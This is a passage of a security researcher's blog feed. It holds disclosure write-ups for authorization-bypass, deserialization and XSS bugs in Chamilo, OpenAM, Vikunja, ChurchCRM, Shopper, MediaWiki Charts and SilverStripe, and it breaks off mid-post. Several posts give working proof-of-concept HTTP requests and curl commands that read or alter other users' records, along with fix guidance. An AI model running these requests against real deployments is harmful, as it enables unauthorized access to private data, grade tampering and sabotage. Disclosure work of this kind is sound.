Because those checks were missing, any valid session with `ROLE_USER` could interact with submissions belonging to completely unrelated courses and sessions.

## What an attacker could do

An attacker registered as a regular student in Course A could issue a request targeting a submission in Course B:

```http
POST /api/c_student_publication_comments/upload HTTP/1.1
Host: chamilo.local
Authorization: Bearer &lt;attacker_token&gt;
Content-Type: application/json

{
  &quot;submissionId&quot;: 42,
  &quot;comment&quot;: &quot;Tampered feedback via API&quot;,
  &quot;qualification&quot;: &quot;100&quot;,
  &quot;file&quot;: null
}
```

When Chamilo processed this request:

1. A new feedback comment was appended to submission `42`.
2. The score on submission `42` was changed to `100`.
3. `qualificator_id` was updated to the attacker&apos;s user ID.
4. `date_of_qualification` was updated to the current timestamp.

This gave a low-privileged user both a feedback injection vector and arbitrary grade manipulation across the entire LMS platform.

## Why it happened

The endpoint loaded the `CStudentPublication` object directly from the database using the user-supplied `submissionId`.

While authentication was verified (the user needed a valid JWT token), authorization was treated as binary (&quot;is the user logged in?&quot;) rather than contextual (&quot;is the user authorized to grade this specific submission in this specific course?&quot;).

In an LMS architecture, authorization must always be evaluated against the resource&apos;s parent scope (Course / Session / Group), not just global login status.

## The fix

The fix requires enforcing object-level authorization on the loaded `CStudentPublication` record before performing any state changes or comment creations.

The backend must verify:

- The user has teacher/grader role within the specific course/session associated with the target submission.
- Or if only adding comments, the user owns the submission or is an assigned instructor.

Requests failing this check must be rejected immediately with `430` / `403 Forbidden`.

## Versions and details

- Advisory: `GHSA-8423-5658-789h`
- Package: `chamilo/chamilo-lms`
- Affected: `&lt;= 2.0.2`
- Severity: `High`
- Weakness: `CWE-862 (Missing Authorization)`
- Credit: [baradika](https://github.com/baradika)

## Reference

- [GHSA-8423-5658-789h Advisory](https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-8423-5658-789h)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>idor</category><author>b4r</author></item><item><title>cross-course blog api authorization bypass in chamilo</title><link>https://baradika.web.id/blog/chamilo-ghsa-438r-9jh4-mmfc/</link><guid isPermaLink="true">https://baradika.web.id/blog/chamilo-ghsa-438r-9jh4-mmfc/</guid><description>ghsa-438r-9jh4-mmfc let low-privileged chamilo lms users read, create, modify, and comment on blog resources outside their enrolled course scope</description><pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I reported **GHSA-438r-9jh4-mmfc** in **Chamilo LMS**.

This was a broad object-level authorization bypass across the Blog API subsystem.

Authenticated low-privileged users (`ROLE_USER`) could read, create, edit, and comment on blogs in courses they were not enrolled in.

Because the API endpoints lacked course-level boundary checks, any self-registered student account could target another course&apos;s blog resources just by manipulating entity IDs.

## The bug

Chamilo exposes several REST API endpoints for managing course blogs and posts (e.g. `c_blog`, `c_blog_post`, `c_blog_comment`, and related membership endpoints).

The pattern across these endpoints was consistent:

```text
Request to Blog API endpoint (e.g. /api/c_blogs/{id})
-&gt; Authentication check passes (valid JWT token)
-&gt; API loads target Blog / Post object by ID
-&gt; Executes CRUD operation directly
```

There was no authorization voter or context check asking:

&gt; Is the current user enrolled in the course that owns this blog, and do they have permission to perform this action on this blog?

Without that boundary, the ID parameters in the URL served as the only control.

## Impacted actions

The missing authorization checks allowed an authenticated user outside the victim course or session to perform multiple operations:

1. **Read Private Blogs**: Fetch blog titles, posts, and internal course discussions from blogs in restricted courses.
2. **Modify Blog Settings**: Update blog metadata and configuration belonging to another course.
3. **Create Unauthorized Posts**: Inject new blog posts into another course&apos;s blog.
4. **Manipulate Blog Users**: Add users to or modify membership list of another course&apos;s blog.
5. **Inject Blog Comments**: Add comments onto posts in un-enrolled courses.

This affected both the confidentiality of course blog discussions and the integrity of blog contents across the LMS.

## Attack scenario

An attacker with a standard student account registers on a public Chamilo instance.

They obtain an API token and begin querying the blog endpoints:

```http
GET /api/c_blogs/15 HTTP/1.1
Host: chamilo.local
Authorization: Bearer &lt;attacker_token&gt;
```

Even if blog `15` belongs to a private course the attacker never joined, the API returns `200 OK` with the full blog object and post history.

To create an unauthorized post on that victim blog:

```http
POST /api/c_blog_posts HTTP/1.1
Host: chamilo.local
Authorization: Bearer &lt;attacker_token&gt;
Content-Type: application/json

{
  &quot;blog&quot;: &quot;/api/c_blogs/15&quot;,
  &quot;title&quot;: &quot;Unauthorized Post&quot;,
  &quot;content&quot;: &quot;&lt;p&gt;Content injected across course boundary&lt;/p&gt;&quot;
}
```

The server accepts the post and links it to blog `15`.

## The fix

The fix involves introducing strict object-level authorization on all blog API endpoints:

- Verify that the target blog entity belongs to a course/session the user is actively enrolled in.
- For write operations (modifying blog configuration, creating posts, adding users), enforce that the user holds the appropriate role (e.g. course teacher/admin or blog manager).

## Versions and details

- Advisory: `GHSA-438r-9jh4-mmfc`
- Package: `chamilo/chamilo-lms`
- Affected: `&lt;= 2.0.2`
- Severity: `High`
- Weakness: `CWE-862 (Missing Authorization)`
- Credit: [baradika](https://github.com/baradika)

## Reference

- [GHSA-438r-9jh4-mmfc Advisory](https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-438r-9jh4-mmfc)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>idor</category><author>b4r</author></item><item><title>openam webauthn deserialization through a shallow filter</title><link>https://baradika.web.id/blog/openam-cve-2026-62263/</link><guid isPermaLink="true">https://baradika.web.id/blog/openam-cve-2026-62263/</guid><description>cve-2026-62263 showed that the openam webauthn deserialization filter only constrained the root object, leaving nested gadget graphs unchecked</description><pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I was credited as one of the reporters for **CVE-2026-62263** in **OpenAM**.

The affected component was:

```text
org.openidentityplatform.openam:openam-auth-webauthn
```

The issue was a Java deserialization bug in the WebAuthn authentication flow.

The previous fix for `GHSA-6c99-87fr-6q7r` wrapped WebAuthn authenticator deserialization in an `ObjectInputFilter`. That filter was intended to allow only `AuthenticatorImpl`.

The problem was the filter logic around serialization depth.

It allowed nested objects at stream depth greater than `1`, so the allowlist only meaningfully constrained the root object. Everything deeper in the object graph was left unchecked.

## The vulnerable shape

The advisory describes the filter behavior like this:

```text
depth == 1  -&gt; root concrete class
depth &gt; 1   -&gt; nested object graph
```

The filter allowed the nested graph too early.

In simplified form, the bug looked like this:

```java
if (filterInfo.depth() &gt; 1) {
    return ObjectInputFilter.Status.ALLOWED;
}

if (filterInfo.serialClass() == AuthenticatorImpl.class) {
    return ObjectInputFilter.Status.ALLOWED;
}

return ObjectInputFilter.Status.REJECTED;
```

That policy is not a real allowlist for the full stream.

It only checks the root class properly.

An attacker can keep the root object as `AuthenticatorImpl`, then place a gadget chain inside the nested object graph. The filter accepts the nested classes because their depth is greater than `1`.

## Why the depth check matters

Java serialization filters are consulted for classes in the object graph, not only for the first object.

That means a deserialization filter has to make a decision for every class that appears in the stream.

If the filter says &quot;allow everything below the root,&quot; then a root allowlist does not protect the nested state.

For this bug, the attacker-controlled stream could be structured as:

```text
AuthenticatorImpl
└── nested object
    └── gadget chain object
        └── readObject / readResolve side effect
```

The cast to `AuthenticatorImpl` happens after deserialization.

The dangerous part is that gadget code can execute during `readObject()` or `readResolve()` before the application gets a chance to cast the object or verify the WebAuthn assertion.

## Reachability

The advisory states that the sink is reachable before authentication through an attacker-chosen `userHandle`.

That is the important boundary.

The issue is not only &quot;unsafe deserialization exists somewhere in code.&quot; It is reachable from the WebAuthn authentication path before the attacker has an authenticated session.

The practical chain is:

```text
attacker-controlled userHandle
-&gt; WebAuthn authenticator lookup / deserialization
-&gt; ObjectInputFilter checks root AuthenticatorImpl
-&gt; nested gadget graph is allowed by depth rule
-&gt; readObject() / readResolve() executes during deserialization
```

Remote code execution depends on a usable gadget being present on the classpath, but the filter bug is what re-opens that path.

## Relation to the earlier advisory

This bug is related to the earlier WebAuthn deserialization advisory:

```text
GHSA-6c99-87fr-6q7r
```

The earlier fix added filtering around deserialization.

`CVE-2026-62263` is about the filter being too shallow. It restricted the top-level object but did not enforce the same rule on the rest of the object graph.

That distinction matters because allowlisting a root type is not enough when the root object can carry attacker-controlled nested state.

## Impact

The public advisory classifies this as:

- CWE: `CWE-502`
- Severity: `High`
- Impact: remote code execution when a gadget is available on the classpath

The affected flow is pre-authentication WebAuthn processing.

The exploitability still depends on a compatible gadget chain, but the security boundary that was supposed to stop nested classes was not actually enforcing a nested-class allowlist.

## Versions

The public advisory lists:

- CVE: `CVE-2026-62263`
- GHSA: `GHSA-gf8h-gq53-288j`
- Package: `org.openidentityplatform.openam:openam-auth-webauthn`
- Severity: `High`
- CWE: `CWE-502`
- Affected: `&lt;= 16.1.1`
- Patched: `16.1.2`

## Reference

- [GHSA-gf8h-gq53-288j / CVE-2026-62263](https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-gf8h-gq53-288j)
- [Original advisory GHSA-6c99-87fr-6q7r](https://github.com/advisories/GHSA-6c99-87fr-6q7r)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>deserialization</category><author>b4r</author></item><item><title>turning a scoped vikunja token into a normal session</title><link>https://baradika.web.id/blog/vikunja-cve-2026-57458/</link><guid isPermaLink="true">https://baradika.web.id/blog/vikunja-cve-2026-57458/</guid><description>cve-2026-57458 allowed a vikunja api token scoped only to oauth.authorize to mint normal oauth session credentials outside the original token permissions</description><pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-57458** in **Vikunja**.

The issue was an authentication-context mismatch between scoped API tokens and the OAuth authorization-code flow.

A token scoped only to:

```json
{&quot;oauth&quot;:[&quot;authorize&quot;]}
```

could call the OAuth authorization endpoint, receive an authorization code, exchange that code for a normal bearer JWT plus refresh token, and then use those minted credentials on routes outside the original API-token scope.

The original scoped token could not directly access normal routes like `/api/v1/user`, but the OAuth token minted from it could.

## The boundary that failed

Scoped API tokens are supposed to carry a permission boundary.

In this case, the token was intentionally narrow:

```text
oauth.authorize only
```

That should mean the token can do exactly that one OAuth-related action and nothing else.

The problem was that `/api/v1/oauth/authorize` accepted API-token-authenticated requests as a valid resource-owner context for issuing an OAuth authorization code.

Once that code existed, `/api/v1/oauth/token` exchanged it into regular session credentials.

Those new credentials were not tied back to the original API-token permissions.

## Affected flow

The vulnerable flow was:

```text
scoped API token
-&gt; POST /api/v1/oauth/authorize
-&gt; OAuth authorization code
-&gt; POST /api/v1/oauth/token
-&gt; normal bearer JWT + refresh token
-&gt; access non-OAuth routes outside the original token scope
```

The affected package was:

```text
code.vikunja.io/api
```

Affected version:

```text
2.3.0
```

Patched version:

```text
2.4.0
```

## Relevant code paths

The advisory calls out these areas:

```text
pkg/routes/routes.go
pkg/models/api_routes.go
pkg/routes/api_tokens.go
pkg/user/user.go
pkg/modules/auth/oauth2server/authorize.go
pkg/modules/auth/oauth2server/token.go
```

The important part is not one single line.

The issue came from how those pieces composed:

- the route group accepted scoped API tokens
- the API-token middleware placed `api_token` and `api_user` into request context
- the user helper treated `api_user` as the authenticated current user
- the OAuth authorize handler used that current user to issue an authorization code
- the token endpoint exchanged the code for unrestricted session credentials

That created a bridge from a scoped token into a normal OAuth session.

## Negative control

The scoped token could not access the normal user route directly.

```http
GET /api/v1/user
Authorization: Bearer &lt;scoped-api-token&gt;
```

Observed response:

```http
401 Unauthorized
```

Response body:

```json
{&quot;code&quot;:11,&quot;message&quot;:&quot;missing, malformed, expired or otherwise invalid token provided&quot;}
```

That negative control matters because it shows the token scope was not simply ignored everywhere.

The bypass happened through the OAuth minting path.

## Exploit path

First, the scoped token was used to request an OAuth authorization code:

```http
POST /api/v1/oauth/authorize
Authorization: Bearer &lt;scoped-api-token&gt;
Content-Type: application/json
```

Body:

```json
{
  &quot;response_type&quot;: &quot;code&quot;,
  &quot;client_id&quot;: &quot;vikunja&quot;,
  &quot;redirect_uri&quot;: &quot;vikunja-flutter://callback&quot;,
  &quot;code_challenge&quot;: &quot;&lt;pkce-s256-challenge&gt;&quot;,
  &quot;code_challenge_method&quot;: &quot;S256&quot;
}
```

Observed response:

```http
200 OK
```

Response body:

```json
{
  &quot;code&quot;: &quot;&lt;redacted&gt;&quot;,
  &quot;redirect_uri&quot;: &quot;vikunja-flutter://callback&quot;,
  &quot;state&quot;: &quot;&quot;
}
```

Then the authorization code was exchanged for normal session credentials:

```http
POST /api/v1/oauth/token
Content-Type: application/json
```

Body:

```json
{
  &quot;grant_type&quot;: &quot;authorization_code&quot;,
  &quot;code&quot;: &quot;&lt;redacted&gt;&quot;,
  &quot;client_id&quot;: &quot;vikunja&quot;,
  &quot;redirect_uri&quot;: &quot;vikunja-flutter://callback&quot;,
  &quot;code_verifier&quot;: &quot;&lt;original-pkce-verifier&gt;&quot;
}
```

Observed response:

```http
200 OK
```

Response body:

```json
{
  &quot;access_token&quot;: &quot;&lt;redacted&gt;&quot;,
  &quot;token_type&quot;: &quot;bearer&quot;,
  &quot;expires_in&quot;: 600,
  &quot;refresh_token&quot;: &quot;&lt;redacted&gt;&quot;
}
```

At that point, the attacker no longer had only a scoped API token.

They had a normal OAuth access token and refresh token for the same user.

## Scope bypass confirmation

The minted OAuth access token could access routes the original scoped token could not.

```http
GET /api/v1/user
Authorization: Bearer &lt;minted-oauth-access-token&gt;
```

Observed response:

```http
200 OK
```

Additional check:

```http
GET /api/v1/projects
Authorization: Bearer &lt;minted-oauth-access-token&gt;
```

Observed response:

```http
200 OK
```

That is the security issue: the original token had a narrow permission set, but the derived credentials did not inherit that restriction.

## Impact

A scoped API token with only `oauth.authorize` could be converted into normal session credentials for the same user.

That bypasses the intended API-token permission boundary.

The confirmed impact was:

- access to normal user/session routes outside the token&apos;s declared scope
- access to project routes using the minted OAuth bearer token
- refresh-token issuance from a scoped API-token starting point

The advisory did **not** validate:

- cross-user access
- admin privilege escalation
- access to another account

That boundary is important. This is a same-user scope bypass, not an account takeover across users.

## Expected behavior

An API token with limited permissions should not be able to mint broader credentials than its declared scope.

For this flow, `/api/v1/oauth/authorize` should require an authentication context appropriate for OAuth authorization-code issuance, such as a normal user session.

API-token-authenticated requests should not be accepted as a resource-owner session for creating unrestricted OAuth authorization codes.

## Severity and versions

The public advisory lists:

- CVE: `CVE-2026-57458`
- GHSA: `GHSA-v3p6-34mc-hj7v`
- Severity: `High`
- CVSS: `8.1`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`
- CWE: `CWE-269`
- Affected: `2.3.0`
- Patched: `2.4.0`

## Reference

- [GHSA-v3p6-34mc-hj7v / CVE-2026-57458](https://github.com/go-vikunja/vikunja/security/advisories/GHSA-v3p6-34mc-hj7v)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>authorization</category><author>b4r</author></item><item><title>cross-family access in churchcrm</title><link>https://baradika.web.id/blog/churchcrm-cve-2026-58410/</link><guid isPermaLink="true">https://baradika.web.id/blog/churchcrm-cve-2026-58410/</guid><description>cve-2026-58410 let low-privileged churchcrm users with editself access read and modify other families records by changing the familyId in API routes</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-58410** in **ChurchCRM**.

This one was an object-level authorization bug in family-scoped API endpoints.

A low-privileged authenticated user with `EditSelf` could supply another family&apos;s `familyId` and access data outside their own family scope.

If the same user also had `Notes` permission, they could go one step further and create notes on another family&apos;s record.

So the bug was not just read-only IDOR.

It also had an integrity side.

## The bug

The affected package was:

```text
churchcrm/crm
```

The vulnerable pattern was simple:

```text
authenticated user
-&gt; has EditSelf
-&gt; changes familyId in the API route
-&gt; backend loads that family by ID
-&gt; no object-level family ownership check
-&gt; unrelated family record is returned or modified
```

That breaks the meaning of `EditSelf`.

If a user is only allowed to access their own family record, then the route cannot trust `familyId` just because the request is authenticated.

## Affected endpoints

The advisory lists these runtime-confirmed endpoints:

```http
GET /api/family/{familyId}
GET /api/family/{familyId}/notes
POST /api/family/{familyId}/note
GET /api/timeline/family/{familyId}
```

Those are all family-scoped routes.

The problem was that the scope came from the URL parameter, not from an authorization decision tied to the current user.

## Why it worked

ChurchCRM already had person-level object authorization through a `canEditPerson()` style check.

The family API routes did not enforce the equivalent family-level check.

So the backend answered the wrong question:

```text
is this user authenticated and allowed to use self-edit style functionality?
```

Instead, it needed to answer:

```text
is this requested familyId actually inside this user&apos;s allowed family scope?
```

That missing second question is the whole bug.

## Repro setup

The test setup was:

- attacker family: `fam_ID = 200`
- victim family: `fam_ID = 100`
- attacker user linked to family `200`

Attacker permissions:

- `EditSelf = true`
- `Notes = true`
- `Admin = false`

The attacker used their own API key in the `x-api-key` header.

## Reading another family

The attacker could request the victim family directly:

```bash
curl -i \
  -H &apos;x-api-key: attacker-key&apos; \
  &apos;http://127.0.0.1:8080/api/family/100&apos;
```

Observed result:

```text
200 OK
victim family data returned
```

Expected result:

```text
403 Forbidden
```

The same pattern worked for notes:

```bash
curl -i \
  -H &apos;x-api-key: attacker-key&apos; \
  &apos;http://127.0.0.1:8080/api/family/100/notes&apos;
```

and for timeline data:

```bash
curl -i \
  -H &apos;x-api-key: attacker-key&apos; \
  &apos;http://127.0.0.1:8080/api/timeline/family/100&apos;
```

Both should have stayed inside the attacker&apos;s own family scope.

They did not.

## Writing to another family

The more interesting part was note creation.

With `Notes` permission, the attacker could create a note on the victim family:

```bash
curl -i \
  -H &apos;x-api-key: attacker-key&apos; \
  -H &apos;Content-Type: application/json&apos; \
  -X POST \
  --data &apos;{&quot;text&quot;:&quot;Unauthorized family note via runtime test&quot;,&quot;private&quot;:false}&apos; \
  &apos;http://127.0.0.1:8080/api/family/100/note&apos;
```

Observed result:

```text
201 Created
note attached to victim family
```

That is why I do not treat this as only &quot;someone can view another profile.&quot;

The route also allowed modifying another family&apos;s record.

## Database proof

The unauthorized note creation was confirmed in the database:

```text
nte_ID  nte_fam_ID  nte_Text                                  nte_EnteredBy
1000    100         Victim family public note                  1
1001    100         Unauthorized family note via runtime test   200
```

That second row is the important proof.

The attacker user from family `200` created a note attached to family `100`.

So the issue was not limited to a response rendering mistake. The write happened.

## Impact

A low-privileged authenticated user could access unrelated congregation records.

The exposed data could include:

- family name
- address
- email
- phone number
- family member list
- birthdays
- family notes
- timeline entries

And with note access, the same user could create notes on another family.

That makes the impact both confidentiality and integrity:

```text
read another family&apos;s private profile and activity data
write a note onto another family&apos;s record
```

## Severity and versions

The public advisory lists:

- CVE: `CVE-2026-58410`
- GHSA: `GHSA-jjcj-h3cm-p7x7`
- Severity: `High`
- CVSS: `7.1`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N`
- CWE: `CWE-639`
- CWE: `CWE-862`
- Affected: `7.3.3`
- Patched: `7.4.0`

## Reference

- [GHSA-jjcj-h3cm-p7x7 / CVE-2026-58410](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-jjcj-h3cm-p7x7)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>idor</category><author>b4r</author></item><item><title>breaking shopper checkout from settings</title><link>https://baradika.web.id/blog/shopper-cve-2026-56826/</link><guid isPermaLink="true">https://baradika.web.id/blog/shopper-cve-2026-56826/</guid><description>cve-2026-56826 let low-privileged shopper users with settings access delete tax, zone, shipping, and carrier configuration through missing authorization on Livewire actions</description><pubDate>Thu, 02 Jul 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-56826** in **Shopper**.

This one was a missing function-level authorization bug in the Settings area.

A low-privileged authenticated user only needed the coarse:

```text
access_setting
```

permission.

They did **not** need to be admin, and they did **not** need granular `delete_*` or `edit_*` permissions.

From there, they could invoke destructive Livewire / Filament component actions directly and delete commerce configuration used by checkout.

The affected package was:

```text
shopper/framework
```

## The bug

The issue lived in four Settings components.

The parent Settings pages checked whether the user could access settings at all, but the child Livewire components exposed destructive actions without their own server-side authorization.

The affected components were:

| Component | Action |
| --- | --- |
| `Settings\Zones\ZoneShippingOptions` | delete carrier / shipping-rate options |
| `Settings\Zones\Detail` | delete a shipping zone |
| `Settings\Taxes\Detail` | delete a tax zone |
| `Settings\Taxes\TaxRates` | delete a tax rate |

The important part is that these actions did not declare an enforced `-&gt;authorize()` guard.

So the authorization question became too broad:

```text
can this user access settings?
```

when it should have been:

```text
can this user delete this tax/zone/shipping configuration?
```

Those are not the same permission.

## The clearest sink

The cleanest example was `ZoneShippingOptions::deleteAction()`.

The action accepted an id from the Livewire action arguments and deleted the matching `CarrierOption`:

```php
// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
    return Action::make(&apos;delete&apos;)
        -&gt;requiresConfirmation()
        // no -&gt;authorize(), no enforced -&gt;visible()
        -&gt;action(function (array $arguments): void {
            CarrierOption::query()-&gt;find($arguments[&apos;id&apos;])-&gt;delete();
        });
}
```

That is a bad shape for a destructive action.

The id came from the client-side action arguments, and the server-side action did not verify whether the current user had authority to delete carrier options.

Confirmation UI does not fix that. If the Livewire endpoint accepts the action, the server still has to authorize it.

## Why it worked

The Settings pages mounted these child components after the broader settings access check.

That meant the attacker had enough permission to reach the area:

```text
access_setting = true
```

But they did not have the destructive permissions that should have protected these actions:

```text
delete_zones = false
edit_zones = false
delete_taxes = false
edit_taxes = false
```

The problem was that the vulnerable components never asked those questions.

The advisory also notes that this was inconsistent with other areas of the admin. Some existing components already used explicit authorization on mutating actions, for example order mutation paths guarded by `edit_orders`.

That made the bug easier to trust: the framework could enforce action authorization when the component declared it. These components simply did not declare it.

## Runtime proof

The reproducer used the project&apos;s own test harness with Pest, Orchestra Testbench, SQLite, Livewire, and Filament.

The attacker was:

- authenticated
- non-admin
- granted only `access_setting`
- not granted delete or edit permissions for the target resource

The core proof looked like this:

```php
use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;

uses(Tests\Admin\TestCase::class);

it(&apos;low-priv access_setting user deletes a CarrierOption with no authorization&apos;, function (): void {
    $attacker = User::factory()-&gt;create();
    $attacker-&gt;givePermissionTo(&apos;access_setting&apos;);
    $this-&gt;actingAs($attacker, config(&apos;shopper.auth.guard&apos;));

    $zone = Zone::factory()-&gt;create();
    $option = CarrierOption::factory()-&gt;create([&apos;zone_id&apos; =&gt; $zone-&gt;id]);

    Livewire::test(ZoneShippingOptions::class, [&apos;selectedZoneId&apos; =&gt; $zone-&gt;id])
        -&gt;callAction(&apos;delete&apos;, arguments: [&apos;id&apos; =&gt; $option-&gt;id]);

    expect(CarrierOption::query()-&gt;find($option-&gt;id))-&gt;toBeNull();
});
```

The result was direct:

```text
Attacker: isAdmin()=false, can(&apos;access_setting&apos;)=true,
can(&apos;delete_zones&apos;)=false, can(&apos;edit_zones&apos;)=false

[BEFORE] CarrierOption count = 1
[ATTACK] callAction(&apos;delete&apos;, id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0
```

So this was not just a UI visibility issue.

The row was actually deleted.

## Negative control

The useful negative control was an unrelated admin action that already had proper authorization.

The same harness correctly denied `Order/Detail::markPaid` for a user lacking:

```text
edit_orders
```

That matters because it shows the harness was not bypassing authorization globally.

Authorization worked when a component declared it.

The vulnerable Settings components just had no function-level authorization on their destructive actions.

## Impact

This was not about stealing customer data.

It was about damaging live commerce configuration.

A low-privileged staff account, or a compromised staff account with only Settings access, could sabotage checkout by deleting:

- a `CarrierOption`, making a shipping rate disappear
- a `Zone`, breaking country to carrier / payment-method / currency mapping
- a `TaxZone`, breaking tax-zone resolution
- a `TaxRate`, corrupting tax calculation

Those records sit directly on the checkout path.

So the practical effect is integrity and availability damage:

```text
shipping options disappear
payment methods can stop matching a region
tax calculation becomes wrong or incomplete
checkout becomes unreliable
```

That is enough to hurt a storefront even without confidentiality impact.

## Secondary issue

While reproducing the bug, there was also a smaller issue in:

```text
Zones\Detail::deleteAction()-&gt;after()
```

It called:

```php
$this-&gt;reset(&apos;zone&apos;)
```

but `zone` was a `#[Computed]` method, not a property.

So the component could throw a `ReflectionException` after the row had already been deleted.

That was not the main security issue, but it was worth fixing near the same code path.

## Fix direction

The fix direction is simple: destructive actions need server-side authorization at the action level.

For example:

```php
public function deleteAction(): Action
{
    return Action::make(&apos;delete&apos;)
        -&gt;authorize(&apos;access_setting&apos;) // or better: granular delete_zones / delete_taxes
        -&gt;requiresConfirmation();
}
```

The better version is to add granular permissions for the resources themselves, so `access_setting` does not become a catch-all permission for modifying commerce-critical configuration.

At minimum, each `delete` and `edit` action in the affected components needs an enforced authorization check.

## Severity and versions

The public advisory lists:

- CVE: `CVE-2026-56826`
- GHSA: `GHSA-f7h9-qv4x-9x57`
- Severity: `Moderate`
- CVSS: `5.4`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`
- CWE: `CWE-862`
- Affected: `&gt;= 2.0.0, &lt; 2.9.2`
- Patched: `2.9.2`

## Reference

- [GHSA-f7h9-qv4x-9x57 / CVE-2026-56826](https://github.com/shopperlabs/shopper/security/advisories/GHSA-f7h9-qv4x-9x57)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>authorization</category><author>b4r</author></item><item><title>a tooltip xss in wikimedia charts</title><link>https://baradika.web.id/blog/wikimedia-chart-cve-2026-14358/</link><guid isPermaLink="true">https://baradika.web.id/blog/wikimedia-chart-cve-2026-14358/</guid><description>cve-2026-14358 was a stored xss in the mediawiki charts extension where Data:*.tab field titles could reach the pie chart tooltip html renderer</description><pubDate>Thu, 02 Jul 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-14358** in Wikimedia&apos;s **MediaWiki Charts Extension**.

This one was a stored XSS in chart tooltips.

The short version:

- attacker-controlled data lived in a `Data:*.tab` field title
- that title became the pie slice name
- the pie tooltip formatter returned it into the tooltip output
- ECharts rendered the tooltip in HTML mode
- the field title could become active markup when the tooltip appeared

The public task title says the bug pretty directly:

```text
Stored XSS in Wikimedia Chart pie tooltip via Data:*.tab field title
```

The sink was not the chart body itself. It was the tooltip path.

## Where the value landed

The relevant code was in the Charts extension client-side renderer:

```text
resources/ext.chart/render.js
```

The pie chart tooltip path used a custom formatter:

```js
tooltipSpec.formatter = ( params ) =&gt; {
	const value = yFormatter( params.value );
	const percentage = params.percent !== null ?
		` (${ formatPercent( params.percent / 100 ) })` :
		&apos;&apos;;
	return ` ${ params.marker } ${ params.name }: ${ value }${ percentage }`;
};
```

The dangerous part was `params.name`.

For the affected chart shape, that value could be influenced by the field title from a `Data:*.tab` page. If the title contained HTML, the tooltip formatter treated it like normal text, but the tooltip renderer could still interpret the returned string as HTML.

That is the mismatch:

```text
stored data title
-&gt; chart series item name
-&gt; params.name
-&gt; tooltip formatter string
-&gt; HTML tooltip renderer
```

## Why it worked

The formatter looked harmless because it was just building a tooltip label.

But tooltip formatters are still output sinks.

Returning a string from the formatter is only safe if the renderer treats the string as text, or if every user-controlled piece has already been escaped before it reaches the formatter.

In this case, the field title was not safe enough for an HTML tooltip context.

So a payload in the field title could survive until the user interacted with the pie chart and caused the tooltip to render.

## The patch

The public Gerrit change is small, but it points directly at the vulnerable rendering mode.

The patch added one line to the tooltip specification:

```js
const tooltipSpec = {
	renderMode: &apos;richText&apos;,
	valueFormatter: yFormatter
};
```

That changes the tooltip rendering mode away from HTML.

So the fix was not a huge sanitizer rewrite. It was making the tooltip renderer use a mode where the tooltip content is treated as rich text instead of live HTML.

The Gerrit change was:

```text
SECURITY: Use richText render mode in tooltipFormatter
```

with the linked bug:

```text
Bug: T430548
Change-Id: Ibdaa7c852ae83f562e84dddc9c96ad64e2152210
```

## Impact

The CVE record classifies this as:

- CWE: `CWE-79`
- CAPEC: `CAPEC-63`
- Severity: `Medium`
- CVSS 4.0 score: `6.9`
- Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L`

The confirmed issue was stored XSS in the Charts extension tooltip path.

In practical terms, malicious chart data could cause JavaScript execution for users who viewed or interacted with the affected chart.

## Versions

The CVE record lists the affected product as:

```text
MediaWiki - Charts Extension
```

Affected versions were before the patched release lines:

```text
1.43.9
1.44.6
1.45.4
```

So the safe answer is to update the Charts extension through the fixed MediaWiki release line.

## Credit note

This was reported under my name:

```text
Fase Rais Baradika / @Baradika
```

The public Phabricator task also notes the report context and CCs `@Baradika` as the author.

## Reference

- [CVE-2026-14358](https://www.cve.org/CVERecord?id=CVE-2026-14358)
- [Wikimedia Phabricator T430548](https://phabricator.wikimedia.org/T430548)
- [Gerrit patch query for Ibdaa7c852ae83f562e84dddc9c96ad64e2152210](https://gerrit.wikimedia.org/r/q/Ibdaa7c852ae83f562e84dddc9c96ad64e2152210)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>xss</category><author>b4r</author></item><item><title>a stored xss in silverstripe page breadcrumbs</title><link>https://baradika.web.id/blog/silverstripe-cve-2026-54717/</link><guid isPermaLink="true">https://baradika.web.id/blog/silverstripe-cve-2026-54717/</guid><description>cve-2026-54717 let attacker-controlled page titles execute javascript in the silverstripe cms page list view through unescaped breadcrumb rendering</description><pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-54717** in **SilverStripe CMS**.

This one was a stored XSS in the CMS admin interface, specifically in the page list view breadcrumbs.

The vulnerable area was:

```http
/admin/pages/listview
```

An attacker with permission to create or edit pages could place HTML or JavaScript in a parent page title or menu title, then get that payload rendered inside the breadcrumb trail for child pages.

So the bug was not in the current page title itself.

It was in the ancestor breadcrumb path.

## The bug

The report path was pretty straightforward.

When the page list view was built, ancestor page titles were gathered and concatenated into a breadcrumb string:

```php
$pages = $item-&gt;getAncestors();
